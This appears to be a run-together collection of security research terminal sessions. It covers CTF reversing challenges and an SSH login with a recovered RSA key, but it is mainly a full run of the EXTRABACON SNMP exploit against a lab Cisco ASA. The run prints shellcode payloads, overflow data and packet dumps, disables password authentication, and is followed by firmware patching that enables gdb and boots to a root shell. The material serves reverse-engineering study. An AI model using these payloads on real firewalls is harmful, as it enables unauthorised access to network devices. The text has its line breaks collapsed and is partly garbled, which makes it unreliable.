$ cat hooker.py
References
https://portswigger.net/burp/extender/
http://www.jython.org/downloads.html
$ cat hooker.py
$wget 'http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.1-server-amd64.iso'# kernel 3.x $# Install ubuntu server $# The installed server needs the following software $sudo apt-get install libboost1.55-dev$sudo apt-get install libpython2.7-dev$git clone https://github.com/Z3Prover/z3.git$cd z3$python scripts/mk_make.py --python$cd$wget 'http://www.capstone-engine.org/download/3.0.4/ubuntu-14.04/libcapstone3_3.0.4-0.1ubuntu1_amd64.deb'$wget 'http://www.capstone-engine.org/download/3.0.4/ubuntu-14.04/libcapstone-dev_3.0.4-0.1ubuntu1_amd64.deb'$sudo dpkg -i libcapstone3_3.0.4-0.1ubuntu1_amd64.deb$sudo dpkg -i libcapstone-dev_3.0.4-0.1ubuntu1_amd64.deb$# Pin version 71313 $wget 'http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.14-71313-gcc.4.4.7-linux.tar.gz'$tar xvzf pin-2.14-71313-gcc.4.4.7-linux.tar.gz$cd pin-2.14-71313-gcc.4.4.7-linux/source/tools$git clone https://github.com/JonathanSalwan/Triton.git$cd Triton$mkdir build$cd build$cmake -DPINTOOL=on ..$make$PATH=$PATH;~/pin-2.14-71313-gcc.4.4.7-linux/source/tools/Triton$cd ..$sysctl kernel.yama.ptrace_scope=0$triton ./src/examples/pin/ir.py /usr/bin/id
$wget 'https://raw.githubusercontent.com/black-bunny/First-hands-with-Triton/master/CrackMe.c'$gcc -o CrackMe CrackMe.c$cat CrackMe.py$triton CrackMe.py ./CrackMe -
$wget 'https://2016.ctf.link/assets/files/zwiebel.tar.xz'$tar xvf zwiebel.tar.xz$r2 -wA zwiebel[0x004006d0]>s sym.imp.ptrace[0x004006b0]>pd 3[0x004007d0]>s sym.__printf[0x004007d0]>pd 12[0x004007db]>s 0x004007db[0x004007db]>wx 90909090909090909090[0x004007db]>pd 19 @ sym.__printf$cat zwiebel.py$python zwiebel.py 2> /dev/null
$wget 'https://ctf.ekoparty.org/static/pre-ekoparty/roboto.elf'$sudo apt-get install binutils-avr$avr-objdump --disassemble-all roboto.elf | less$cat roboto.py$python roboto.py 2> /dev/null$git clone https://github.com/morse-talk/morse-talk.git$cd morse_talk$sed -i -e '0,/-.--.-/ s/-.--.-/-.--./' morse_talk/encoding.py# Wrong left parenthesis $ipythonIn [1]:import morse_talkIn [2]:morse_talk.decode('. -.- --- -.--. --- .-.. -.. .-.-.- .. ... .-.-.- -. . .-- .-.-.- .- --. .- .. -. -.--.-').replace('(', '{').replace(')', '}').replace('.', '_')
$cat solver.py$python solver.py
#wget https://github.com/Riscure/Rhme-2016/raw/master/RHme2_prequalification_challenge#file RHme2_prequalification_challenge
# strings RHme2_prequalification_challenge | grep Well
#gdb ./RHme2_prequalification_challenge(gdb)b *0x40081d(gdb)runIDONTKNOW(gdb)x/s $rbx
#cat mylib.c#gcc -fPIC -shared mylib.c -o mylib.dylib#LD_PRELOAD=/tmp/mylib.dylib ./RHme2_prequalification_challenge
#cat hook.py#./RHme2_prequalification_challenge#python hook.py RHme2_prequalification_challenge 0x400730
#r2 -d ./RHme2_prequalification_challenge[0x7f6fa0ec02d0]>dcu sym.imp.memcmpIDONTKNOW[0x00400730]>ps @ rbx
#cat moneymoneymoney.py#python moneymoneymoney.py
#ipythonIn [1]:challenge = '49657021204E657874212074313C4C4B793144404C4B2E3133353A4B6161614B580A785D61607B535D4C5964626C20535D4B24564E5B7E564E5F7D564E4F7D574D7B7C575E5B77576D7B22577D7B21587D7B21594D7B7C574E4F77575E537C0A78564E537B564E5F77576E4B77574D7B7D564E4F7B575D7B7C576E4F77575E4B7E564E5B23564E4F7B585D7B7E586D7B20584D7B7C575E6B77575E4B200A78564E6F22564E5B23564E4F7B587D7B7E585D7B7C576E4B77575E4F25564E4F7B584D7B20595D7B7C575E6377575E4B22564E5723564E4F7C594D7B7C0A78576E5F77595E6777595E6F77584E4F77575E4B24564E4F7C586D7B7C575E6B77575E4F21564E5F22564E4F7B587D7B20576D7B22576D7B7E595D7B7C0A78576E5F77577E5777586E4F77575E4B7B564E4F7C586D7B22576D7B7C575E6F77575E4F24564E4F7C595D7B7C574E6777585E5377575E5322564E6F240A5E564E4F7C586D7B7C576E6377575E4F7E564E4F7B585D7B25594B4B4B0A4B0A313A300A'In [2]:hex_challenge = challenge.decode('hex')In [3]:%pasteIn [4]:for i in xrange(126 - 32) print rot(hex_challenge, i) print i print '-' * 20 raw_input()#ipythonIn [1]:byte_uud = "\x08+4xr\x02?9:ey\x14\x05\x14\x00\x02eyg/i$,vh`/k#xwh1tj%v}ac)ltvs8k*>'}!=dt>wvwk4~bt~qib"In [2]:r = byte_uudIn [3]:%pasteIn [4]:find = 'Iep! Next!'In [5]:%pasteKeyboardInterruptIn [6]:find = 'Iep! Ne'In [7]:%paste
#wget 'https://challenges.ka0labs.org/download?file=moji.png#r2 -w moji.png[0x00000000]>px[0x00000000]>wx 8950 4e47 0d0a 1a0a 0000#git clone https://github.com/cyberinc/cloacked-pixel.git#python cloacked-pixel/lsb.py extract moji.png hide_info ITS_A_KEY?#cat hide_info#mv hide_info rsa.pub#git clone https://github.com/nccgroup/featherduster.git#apt-get install libncurses-dev#apt-get install libgmp3-dev#apt-get install python-gmpy#ssh-keygen -f rsa.pub -e -m pem | tee rsa.pem#python featherduster/featherduster.py rsa.pemFeatherDuster>autopwn#chmod 400 rsa.priv#ssh -i rsa.priv nope@challenges.ka0labs.orgnope:~$more ../noruas/flag.txt
# ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asa
#python extrabacon_1.1.0.1.py info -t asa:161 -c cisco[+] Executing: extrabacon_1.1.0.1.py info -t asa:161 -c cisco [+] probing target via snmp [+] Connecting to asa:161 **************************************** [+] response: ###[ SNMP ]### version = <ASN1_INTEGER[1L]> community = <ASN1_STRING['cisco']> \PDU \ |###[ SNMPresponse ]### | id = <ASN1_INTEGER[0L]> | error = <ASN1_INTEGER[0L]> | error_index= <ASN1_INTEGER[0L]> | \varbindlist\ | |###[ SNMPvarbind ]### | | oid = <ASN1_OID['.1.3.6.1.2.1.1.1.0']> | | value = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']> | |###[ SNMPvarbind ]### | | oid = <ASN1_OID['.1.3.6.1.2.1.1.3.0']> | | value = <ASN1_TIME_TICKS[363400L]> | |###[ SNMPvarbind ]### | | oid = <ASN1_OID['.1.3.6.1.2.1.1.5.0']> | | value = <ASN1_STRING['asa.lab.net']> [+] firewall uptime is 363400 time ticks, or 1:00:34 [+] firewall name is asa.lab.net [+] target is running asa842, which is supported Data stored in key file : asa842 Data stored in self.vinfo: ASA842
#python extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-disable[+] Executing: extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-disable Data stored in self.vinfo: ASA842 [+] generating exploit for exec mode pass-disable [+] using shellcode in ./versions [+] importing version-specific shellcode shellcode_asa842 [+] building payload for mode pass-disable appended PMCHECK_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3 appended AAAADMINAUTH_DISABLE payload bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3 [+] random SNMP request-id 80055950 [+] fixing offset to payload 49 overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.49.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144 payload (133): bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c3 EXBA msg (369): 3082016d0201010405636973636fa582015f020404c58e8e0201000201013082014f30819106072b060102010101048185bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bff08f530931c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa2a5a5a531facd80eb14bfe013080831c9b104fcf3a4e90c0000005eebece8f8ffffff31c040c3c33081b80681b32b060104010909836b010303010105095f8138437b7a812d3581258125812581258103816c048109042481098165810381454831814031815b813310318176813f812e812a812a812a81018177812581258125812560810b81042481600100000431817f8150618143811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811019471409810b7c2414810b07817f816081100500 [+] Connecting to asa:161 [+] packet 1 of 1 [+] 0000 30 82 01 6D 02 01 01 04 05 63 69 73 63 6F A5 82 0..m.....cisco.. [+] 0010 01 5F 02 04 04 C5 8E 8E 02 01 00 02 01 01 30 82 ._............0. [+] 0020 01 4F 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .O0....+........ [+] 0030 85 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 ...........1...% [+] 0040 F6 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A2 A5 A5 A5 ..1......1...... [+] 0050 31 FA CD 80 EB 14 BF F0 8F 53 09 31 C9 B1 04 FC 1........S.1.... [+] 0060 F3 A4 E9 0C 00 00 00 5E EB EC E8 F8 FF FF FF 31 .......^.......1 [+] 0070 C0 40 C3 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB .@...........1.. [+] 0080 A5 B5 AD AD 31 FB B9 A5 B5 A5 A5 31 F9 BA A2 A5 ....1......1.... [+] 0090 A5 A5 31 FA CD 80 EB 14 BF E0 13 08 08 31 C9 B1 ..1..........1.. [+] 00a0 04 FC F3 A4 E9 0C 00 00 00 5E EB EC E8 F8 FF FF .........^...... [+] 00b0 FF 31 C0 40 C3 C3 30 81 B8 06 81 B3 2B 06 01 04 .1.@..0.....+... [+] 00c0 01 09 09 83 6B 01 03 03 01 01 05 09 5F 81 38 43 ....k......._.8C [+] 00d0 7B 7A 81 2D 35 81 25 81 25 81 25 81 25 81 03 81 {z.-5.%.%.%.%... [+] 00e0 6C 04 81 09 04 24 81 09 81 65 81 03 81 45 48 31 l....$...e...EH1 [+] 00f0 81 40 31 81 5B 81 33 10 31 81 76 81 3F 81 2E 81 .@1.[.3.1.v.?... [+] 0100 2A 81 2A 81 2A 81 01 81 77 81 25 81 25 81 25 81 *.*.*...w.%.%.%. [+] 0110 25 60 81 0B 81 04 24 81 60 01 00 00 04 31 81 7F %`....$.`....1.. [+] 0120 81 50 61 81 43 81 10 81 10 81 10 81 10 81 10 81 .Pa.C........... [+] 0130 10 81 10 81 10 81 10 81 10 81 10 81 10 81 10 81 ................ [+] 0140 10 81 10 81 10 81 10 81 10 81 10 81 10 81 10 81 ................ [+] 0150 10 81 10 81 10 81 10 81 10 81 10 81 10 19 47 14 ..............G. [+] 0160 09 81 0B 7C 24 14 81 0B 07 81 7F 81 60 81 10 05 ...|$.......`... [+] 0170 00 . **************************************** [+] response: ###[ SNMP ]### version = <ASN1_INTEGER[1L]> community = <ASN1_STRING['cisco']> \PDU \ |###[ SNMPresponse ]### | id = <ASN1_INTEGER[80055950L]> | error = <ASN1_INTEGER[0L]> | error_index= <ASN1_INTEGER[0L]> | \varbindlist\ | |###[ SNMPvarbind ]### | | oid = <ASN1_OID['.1.3.6.1.2.1.1.1.0']> | | value = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']> | |###[ SNMPvarbind ]### | | oid = <ASN1_OID['.1.3.6.1.4.1.99.12.36.1.1.1.116.114.97.112.104.111.115.116.46.99.105.115.99.111.46.49.57.50.46.49.54.56.46.49.46.51.51.46.50']> | | value = <ASN1_STRING['']> [+] received SNMP id 80055950, matches random id sent, likely success [+] clean return detected
#ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asaadmin@asa's password: <enter>asa>enablePassword: <enter>asa#exit
#python extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-enable[+] Executing: extrabacon_1.1.0.1.py exec -k WD9Xgq -t asa:161 -c cisco --mode pass-enable Data stored in self.vinfo: ASA842 [+] generating exploit for exec mode pass-enable [+] using shellcode in ./versions [+] importing version-specific shellcode shellcode_asa842 [+] building payload for mode pass-enable appended PMCHECK_ENABLE payload eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80 appended AAAADMINAUTH_ENABLE payload eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80 [+] random SNMP request-id 425184577 [+] fixing offset to payload 49 overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.67.123.122.173.53.165.165.165.165.131.236.4.137.4.36.137.229.131.197.72.49.192.49.219.179.16.49.246.191.174.170.170.170.129.247.165.165.165.165.96.139.132.36.224.1.0.0.4.49.255.208.97.195.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.144.25.71.20.9.139.124.36.20.139.7.255.224.144 payload (133): eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3 EXBA msg (369): 3082016d0201010405636973636fa582015f02041957cd410201000201013082014f30819106072b060102010101048185eb14bff08f530931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525f6ac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfe013080831c9b104fcf3a4e92f0000005eebece8f8ffffff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5b5adad31fbb9a5b5a5a531f9baa0a5a5a531facd80c33081b80681b32b060104010909836b010303010105095f8138437b7a812d3581258125812581258103816c048109042481098165810381454831814031815b813310318176813f812e812a812a812a81018177812581258125812560810b81042481600100000431817f8150618143811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811081108110811019471409810b7c2414810b07817f816081100500 [+] Connecting to asa:161 [+] packet 1 of 1 [+] 0000 30 82 01 6D 02 01 01 04 05 63 69 73 63 6F A5 82 0..m.....cisco.. [+] 0010 01 5F 02 04 19 57 CD 41 02 01 00 02 01 01 30 82 ._...W.A......0. [+] 0020 01 4F 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .O0....+........ [+] 0030 85 EB 14 BF F0 8F 53 09 31 C9 B1 04 FC F3 A4 E9 ......S.1....... [+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1.. [+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 F6 ..........1...%. [+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1 [+] 0070 FA CD 80 EB 14 BF E0 13 08 08 31 C9 B1 04 FC F3 ..........1..... [+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U. [+] 0090 E5 57 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 .W..........1... [+] 00a0 B5 AD AD 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 ...1......1..... [+] 00b0 A5 31 FA CD 80 C3 30 81 B8 06 81 B3 2B 06 01 04 .1....0.....+... [+] 00c0 01 09 09 83 6B 01 03 03 01 01 05 09 5F 81 38 43 ....k......._.8C [+] 00d0 7B 7A 81 2D 35 81 25 81 25 81 25 81 25 81 03 81 {z.-5.%.%.%.%... [+] 00e0 6C 04 81 09 04 24 81 09 81 65 81 03 81 45 48 31 l....$...e...EH1 [+] 00f0 81 40 31 81 5B 81 33 10 31 81 76 81 3F 81 2E 81 .@1.[.3.1.v.?... [+] 0100 2A 81 2A 81 2A 81 01 81 77 81 25 81 25 81 25 81 *.*.*...w.%.%.%. [+] 0110 25 60 81 0B 81 04 24 81 60 01 00 00 04 31 81 7F %`....$.`....1.. [+] 0120 81 50 61 81 43 81 10 81 10 81 10 81 10 81 10 81 .Pa.C........... [+] 0130 10 81 10 81 10 81 10 81 10 81 10 81 10 81 10 81 ................ [+] 0140 10 81 10 81 10 81 10 81 10 81 10 81 10 81 10 81 ................ [+] 0150 10 81 10 81 10 81 10 81 10 81 10 81 10 19 47 14 ..............G. [+] 0160 09 81 0B 7C 24 14 81 0B 07 81 7F 81 60 81 10 05 ...|$.......`... [+] 0170 00 . **************************************** [+] response: ###[ SNMP ]### version = <ASN1_INTEGER[1L]> community = <ASN1_STRING['cisco']> \PDU \ |###[ SNMPresponse ]### | id = <ASN1_INTEGER[425184577L]> | error = <ASN1_INTEGER[0L]> | error_index= <ASN1_INTEGER[0L]> | \varbindlist\ | |###[ SNMPvarbind ]### | | oid = <ASN1_OID['.1.3.6.1.2.1.1.1.0']> | | value = <ASN1_STRING['Cisco Adaptive Security Appliance Version 8.4(2)']> | |###[ SNMPvarbind ]### | | oid = <ASN1_OID['.1.3.6.1.4.1.99.12.36.1.1.1.116.114.97.112.104.111.115.116.46.99.105.115.99.111.46.49.57.50.46.49.54.56.46.49.46.51.51.46.50']> | | value = <ASN1_STRING['']> [+] received SNMP id 425184577, matches random id sent, likely success [+] clean return detected
#ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@asaadmin@asa's password: <enter>Permission denied, please try again. admin@asa's password:
#r2 lina[0x0804d520]>aar[0x0804d520]>s sym.imp.setitimer[0x0804cf94]>vp||||||| ;-- imp.setitimer: ||||||| ; CALL XREF from 0x08c8ff2b (unk) ||||||| ; CALL XREF from 0x08c8ffc8 (unk) ||||||| ; CALL XREF from0x08c900d8 (unk) ||||||| ; CALL XREF from 0x08c9011e (unk) ||||||| 0x0804cf94 ff253c93bc09 jmp dword [reloc.setitimer_60] ; reloc.setitimer ||||||| 0x0804cf9a 6878060000 push 0x678 ========< 0x0804cf9f e9f0f2ffff jmp 0x804c294 ;[1] :>s 0x08c900d80x08c900d8 e8b7ce3bff call sym.imp.setitimer ;[1] 0x08c900dd c9 leave 0x08c900de c3 ret 0x08c900df 90 nop ; CALL XREF from 0x0805e9ba (unk) ; CALL XREF from 0x08c91ed9 (unk) 0x08c900e0 55 push ebp 0x08c900e1 89e5 mov ebp, esp 0x08c900e3 83ec28 sub esp, 0x28 ; '(' 0x08c900e6 8b0da46ad109 mov ecx, dword [0x9d16aa4 ] ; [0x9d16aa4:4]=0x4c 0x08c900ec 81f93f420f00 cmp ecx, 0xf423f ,=< 0x08c900f2 7f34 jg 0x8c90128 #cat .gdbinitset debug remote 1 set disassembly-flavor intel target remote /dev/ttyUSB0 # Patch the watchdog set *0x9d16aa4=0 file ~/lina
#cat enable_gdb.sh#!/bin/bash binary="$1" rfs='rootfs.img' rfsgz="$rfs.gz" d='extracted' rcs='asa/scripts/rcS' cp $binary $binary.orig echo "[+] cp $binary $binary.orig" offset=`binwalk -y='gzip' $binary | grep rootfs | awk '{print $1}'` end=`binwalk --raw='\x0b\x01\x64\x00\x00' $binary | grep 00 | tail -n 1 | awk '{print $1}'` size=`expr $end - $offset` echo "[+] $binary" echo "[+] \__ $rfsgz - $size bytes" dd if=$binary of=$rfsgz skip=$offset count=$size bs=1 echo "[+] $binary >> $rfsgz" mkdir $d cd $d gunzip -c ../$rfsgz | cpio -i --no-absolute-filenames --make-directories gzip -f -d ../$rfsgz mv ../$rfs . echo "[+] $rfsgz ~ $rfs" sed -i 's/#\(.*ttyUSB0.*\)/\1/' $rcs sed -i 's/ttyUSB0/ttyS0/' $rcs echo "[+] gdb enabled in $rcs" echo "$rcs" | cpio --format='newc' -o --append -F $rfs echo "[+] $rfs updated" gzip -f -9 $rfs mv $rfsgz ../. echo "[+] $rfs ~ $rfsgz" cd .. rm -rf $d nsize=`stat -c%s $rfsgz` sizediff=`expr $size - $nsize` dd if=/dev/zero count=$sizediff bs=1 conv=notrunc,noerror status=noxfer >> $rfsgz nsize=`stat -c%s $rfsgz` dd if=$rfsgz of=$binary seek=$offset count=$nsize bs=1 conv=notrunc,noerror echo "[+] $rfsgz >> $binary" rm $rfsgz echo "[+] Done!" #./enable_gdb.sh asa842-k8.bin[+] cp asa842-k8.bin asa842-k8.bin.orig [+] asa842-k8.bin [+] \__ rootfs.img.gz = 23628432 bytes [+] asa842-k8.bin >> rootfs.img.gz [+] rootfs.img.gz ~ rootfs.img [+] gdb enabled in asa/scripts/rcS [+] rootfs.img updated [+] rootfs.img ~ rootfs.img.gz [+] rootfs.img.gz >> asa842-k8.bin [+] Done! ## Checksum bypass #scp -oKexAlgorithms=+diffie-hellman-group1-sha1 asa842-k8.bin admin@asa:asa842-k8-gdb.bin#gdb
asa(config)#boot system disk0:/asa842-k8-gdb.binasa(config)#wrasa(config)#reload... SMFW PID: 479, SMFW started in mode 0 SMFW PID: 481, Starting /asa/bin/lina under gdbserver /dev/ttyS0 SMFW PID: 479, started gdbserver on member: 481//asa/bin/lina SMFW PID: 479, created member ASA BLOB, PID=481 Process /asa/bin/lina created; pid = 484 Remote debugging using /dev/ttyS0
#r2 -w asa842-k8.bin[0x00000000]>/ quiet[0x00000000]>s hit0_1[0x017ed8dc]>px- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x017ed8dc 7175 6965 7420 6c6f 676c 6576 656c 3d30 quiet loglevel=0 0x017ed8ec 2061 7574 6f20 6b73 7461 636b 3d31 3238 auto kstack=128 [0x017ed8dc]>w rdinit=/bin/sh k[0x017ed8dc]>px- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x017ed8dc 7264 696e 6974 3d2f 6269 6e2f 7368 2020 rdinit=/bin/sh 0x017ed8ec 2020 2020 2020 6b73 7461 636b 3d31 3238 kstack=128 ## Checksum bypass #scp -oKexAlgorithms=+diffie-hellman-group1-sha1 asa842-k8.bin admin@asa:asa842-k8-binsh.bin#gdb
asa(config)#boot system disk0:/asa842-k8-binsh.binasa(config)#wrasa(config)#reload... Freeing unused kernel memory: 156k freed Write protecting the kernel text: 1716k Write protecting the kernel read-only data: 504k /bin/sh: can't access tty; job control turned off #sed -i 's/#\(.*\)ttyUSB0\(.*\)/\1ttyS0\2/' /asa/scripts/rcS#exec /sbin/init... SMFW PID: 479, SMFW started in mode 0 SMFW PID: 481, Starting /asa/bin/lina under gdbserver /dev/ttyS0 SMFW PID: 479, started gdbserver on member: 481//asa/bin/lina SMFW PID: 479, created member ASA BLOB, PID=481 Process /asa/bin/lina created; pid = 484 Remote debugging using /dev/ttyS0